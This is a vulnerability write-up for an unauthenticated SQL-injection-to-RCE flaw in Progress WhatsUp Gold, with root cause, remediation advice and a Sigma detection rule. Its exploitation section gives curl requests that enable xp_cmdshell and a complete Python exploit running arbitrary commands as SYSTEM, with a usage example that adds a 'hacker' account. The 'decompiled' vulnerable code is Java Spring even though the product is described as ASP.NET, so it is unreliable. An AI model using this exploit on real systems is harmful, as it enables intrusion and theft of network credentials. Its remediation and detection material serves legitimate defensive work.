Overview
CVE-2026-54089 affects Progress WhatsUp Gold versions 22.0 through 24.1.0. WhatsUp Gold is a network performance monitoring platform widely deployed in enterprise and managed service provider environments; it has direct access to network device credentials, SNMP community strings, and WMI/SSH credentials for every monitored device. Compromising the WhatsUp Gold host therefore typically leads to lateral movement across the entire monitored network.
CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Active exploitation was observed within 72 hours of public disclosure, predominantly by ransomware-affiliated operators targeting MSPs for downstream supply-chain access.
The vulnerability is a classic unauthenticated SQL injection that reaches a privileged SQL Server session, making exploitation straightforward and reliable. There are no memory corruption, race conditions, or environment-specific preconditions — if the application is reachable, the exploit works.
Background — WhatsUp Gold Architecture
WhatsUp Gold runs as an IIS-hosted ASP.NET application on Windows Server. It uses a dedicated Microsoft SQL Server instance (typically a bundled SQL Server Express up to 10 GB, or a full SQL Server instance in enterprise deployments) for all persistent storage — device configuration, polling data, credentials, and scheduled reports.
In version 22.0, Progress refactored the API layer and introduced a new /api/v1/ route namespace with a proper authentication middleware pipeline. However, the legacy /NmAPI/ namespace — which pre-dates the refactor — was left in place for backwards compatibility with third-party integrations. The new middleware pipeline does not apply to /NmAPI/ routes; they fall through to older controller code that was never updated.
The SQL Server service account (whatsup_svc) is created by the WhatsUp Gold installer with the sysadmin fixed server role. This is required for the installer to create the WUG database schema, but the elevated privilege is never removed post-installation. The service account therefore retains sysadmin for the lifetime of the installation.
Root Cause Analysis
The vulnerable endpoint is GET /NmAPI/RecurringReport, handled by the RecurringReportController class in the legacy NmAPI assembly. The reportId query parameter is passed to a data access method that constructs a SQL query via string concatenation:
// RecurringReportController.java (decompiled from NmAPI.dll)
@RequestMapping(value = "/NmAPI/RecurringReport", method = RequestMethod.GET)
public ResponseEntity<?> getRecurringReport(
@RequestParam(value = "reportId") String reportId,
HttpServletRequest request) {
// No authentication check — the auth filter only applies to /api/v1/ routes
ReportData data = reportRepository.findById(reportId);
return ResponseEntity.ok(data);
}
// ReportRepository.java
public ReportData findById(String reportId) {
// BUG: reportId is concatenated directly — not parameterised
String sql = "SELECT report_name, schedule, output_format, owner_id "
+ "FROM recurring_reports WHERE report_id = " + reportId;
return jdbcTemplate.queryForObject(sql, new ReportDataRowMapper());
}
Two independent failures combine to create the pre-auth RCE condition: the authentication middleware does not cover the /NmAPI/ route namespace, and the query is built with string concatenation instead of a prepared statement. Either fix in isolation would have prevented exploitation — the auth bypass alone would not give RCE without the SQLi, and the SQLi alone would be blocked by authentication.
Exploitation
Step 1 — Confirm SQLi and Enumerate Context
# Confirm injection by triggering a deliberate SQL error
curl -s "http://TARGET/NmAPI/RecurringReport?reportId=1'"
# Expected: 500 Internal Server Error with SQL syntax error in response body
# Confirm execution context — should return "NT AUTHORITY\SYSTEM"
curl -s "http://TARGET/NmAPI/RecurringReport?reportId=1;+SELECT+SYSTEM_USER--"
Step 2 — Enable xp_cmdshell
xp_cmdshell is disabled by default in SQL Server but can be re-enabled at runtime by any sysadmin. Because whatsup_svc is sysadmin, this requires no additional privilege escalation:
# Enable xp_cmdshell via stacked queries
curl -s "http://TARGET/NmAPI/RecurringReport?reportId=1;+EXEC+sp_configure+'show+advanced+options',1;RECONFIGURE;EXEC+sp_configure+'xp_cmdshell',1;RECONFIGURE--"
# Verify execution — whoami should return NT AUTHORITY\SYSTEM
curl -s "http://TARGET/NmAPI/RecurringReport?reportId=1;+EXEC+xp_cmdshell+'whoami'--"
Step 3 — Full Exploit (Python)
#!/usr/bin/env python3
"""
CVE-2026-54089 — Progress WhatsUp Gold unauthenticated SQLi to RCE.
Authorised security testing only.
"""
import requests, sys, urllib.parse
def run_sql(target: str, statement: str) -> str:
payload = urllib.parse.quote(f"1; {statement}--")
url = f"http://{target}/NmAPI/RecurringReport?reportId={payload}"
try:
r = requests.get(url, timeout=15)
return r.text
except requests.RequestException as e:
return str(e)
def exploit(target: str, command: str) -> None:
print(f"[*] Target: {target}")
# Enable xp_cmdshell
print("[*] Enabling xp_cmdshell...")
run_sql(target, "EXEC sp_configure 'show advanced options',1; RECONFIGURE")
run_sql(target, "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE")
# Confirm execution context
ctx = run_sql(target, "EXEC xp_cmdshell 'whoami'")
print(f"[+] Execution context: {ctx.strip()[:80]}")
# Run supplied command
print(f"[*] Executing: {command}")
result = run_sql(target, f"EXEC xp_cmdshell '{command}'")
print(f"[+] Output:\n{result}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <host:port> <command>")
print(f"Example: {sys.argv[0]} 10.10.10.50:80 'net user hacker P@ssw0rd /add'")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2])
Affected Versions
- WhatsUp Gold 22.0.0 through 24.1.0 — vulnerable; the
/NmAPI/route namespace exists without authentication controls - WhatsUp Gold 24.1.1 and later — patched; authentication middleware now covers all route namespaces including legacy
/NmAPI/routes, andreportIdis handled via parameterised queries - WhatsUp Gold 21.x and earlier — the vulnerable endpoint does not exist; not affected by this specific CVE (though earlier versions have their own unrelated issues)
Remediation
- Upgrade to WhatsUp Gold 24.1.1 or later. Progress released the patch in Security Advisory PSIRT-2026-001. The fix applies authentication enforcement to all route namespaces and replaces the concatenated query with a parameterised statement.
- If immediate patching is not possible, block external access to the WhatsUp Gold web interface at the network perimeter. The management interface should only be reachable from administrator workstations on a dedicated management VLAN — it should never be internet-facing.
- Revoke the
sysadminrole from thewhatsup_svcSQL Server account after installation. The application requiresdb_owneron the WUG database only;sysadminat the instance level is not needed for normal operation and only exists because the installer never cleans it up. - Review the SQL Server error logs and the WhatsUp Gold IIS access logs for requests to
/NmAPI/RecurringReportcontaining SQL metacharacters (',;,--,xp_,sp_configure). These are reliable indicators of exploitation attempts. - Audit the WhatsUp Gold credential store post-compromise. The application stores device credentials in the database — assume all monitored device credentials are compromised if exploitation occurred.
Detection
title: CVE-2026-54089 Progress WhatsUp Gold NmAPI SQLi Exploitation Attempt
id: a3c7e912-58b4-4f20-b831-9d2e1f7c3a04
status: stable
description: Detects SQL injection attempts against the WhatsUp Gold legacy NmAPI endpoint
logsource:
category: webserver
product: microsoft_iis
detection:
selection_endpoint:
cs-uri-stem|contains: '/NmAPI/RecurringReport'
selection_sqli:
cs-uri-query|contains:
- "sp_configure"
- "xp_cmdshell"
- "RECONFIGURE"
- "EXEC+"
- "';"
condition: selection_endpoint and selection_sqli
falsepositives:
- None expected — these query patterns have no legitimate use in this endpoint
level: critical
tags:
- cve.2026-54089
- attack.initial_access
- attack.t1190
- attack.t1505.003
Key Takeaways
-
Legacy API namespaces are a persistent blind spot during security refactors.
When Progress introduced the authenticated
/api/v1/framework in version 22.0 the intent was clearly to build a secure foundation, but the existing/NmAPI/routes were left in place for compatibility without being brought under the new authentication controls. This pattern — a new secure framework coexisting with an unreachable legacy path that nobody tests — is extremely common in enterprise software with long upgrade cycles. Security reviews of any refactoring effort must explicitly enumerate all existing route namespaces and verify that the new middleware covers all of them, not just the new ones. -
Installer-granted database privileges are almost never cleaned up.
The WhatsUp Gold installer requires
sysadminto create the database schema and is not able to downscope its own service account after setup. This is a known pattern across a wide range of enterprise products — the installer requests elevated privileges, uses them once, and then leaves the service account elevated permanently because downscoping would require knowing which permissions are actually needed at runtime. The principle of least privilege must be enforced at the deployment review stage: after any product installation, verify the service account's actual required permissions and revoke everything else. In this case, dropping todb_owneron the WUG database alone would have prevented OS command execution entirely. - Network monitoring platforms are high-value lateral movement targets. WhatsUp Gold holds authenticated access to every device it monitors — SNMP community strings, SSH keys, Windows credentials, and API tokens. Compromising it is not just about the host itself; it is a credential harvest of the entire monitored environment. Any organisation where WhatsUp Gold is reachable from an untrusted network segment has effectively exposed all of those credentials to a pre-auth attacker. Monitoring platforms must be treated with the same network isolation as a privileged access workstation.